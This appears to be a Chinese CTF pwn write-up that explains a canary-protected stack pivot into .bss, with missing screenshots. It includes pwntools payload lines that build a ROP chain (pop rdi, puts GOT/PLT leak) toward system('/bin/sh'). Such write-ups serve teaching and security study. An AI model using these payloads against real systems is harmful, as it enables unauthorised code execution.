文章插图
文章插图
可以看到此时栈的情况是这样的:
文章插图
0x40072e是ret的地址:
文章插图
0x0000000000400744是返回地址:
文章插图
0xcd95d1462e82fe00是canary的值
0x601950是填充字
0x400913是rdi的值 , 也就是exec函数的的第一个参数 。
现在的栈空间是这样的:
文章插图
然后就开始rop
如果我们直接提升0x20的空间就不会有这种事情了 , 我们就可以直接rdi+rop:
io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))io.send('a'*0x18+p64(canary)+p64(0x601950)+p64(0x40072e))io.send(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))
但是这个rbp和rsp的空间是要试着找的 , 如果bss段有不能覆盖的地址 , 就会报错 。文章插图
io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))io.send('a'*0x18+p64(canary)+p64(0x601950)+p64(0x40072e))io.send(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))
文章插图
这样也能够getshell 。
另一点解释
文章插图
call read@plt之前栈中的情况:
文章插图
我们s步入 , 可以发现rbp和rsp的值已经改变了:
文章插图
0x601930:0x00000000004007440x00000000000000000x601940:0x00000000000000000x00000000000000000x601950:0x00000000000000000x00000000000000000x0000000000400744是执行完read函数要去的地方 , 也就是nop(这个是无所谓的)
文章插图
可以看到在pop 和ret之前rbp和rsp栈空间又发生了改变 , 而且此时rip指向了rdi的地址:
文章插图
红色框是栈空间的大小 , 可以看到此时存放的两个地址的意义是:
p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))组成了rop 。
下一步我们执行pop+ret就跳到了rdi所指在的地方 , 然后利用rop进行system /bin/sh 。
推荐阅读
- 红茶毛峰和香螺,祈门红茶种类
- 中国红茶主要品种,中国红茶的所有种类和产地
- 绿茶和红茶的种类,红茶和绿茶各自的好处
- 安化红茶特点,安化黑茶的种类和价格
- 红茶的种类和产地,红茶的种类及特征
- 复韵母都有哪些?
- 最好的红茶拥有特色,红茶的种类和图片大全
- 中国红茶的种类和功效,中国红茶的价格查询
- 红茶种类名称,政和工夫红茶价格
- 福建红茶和滇红,红茶种类大全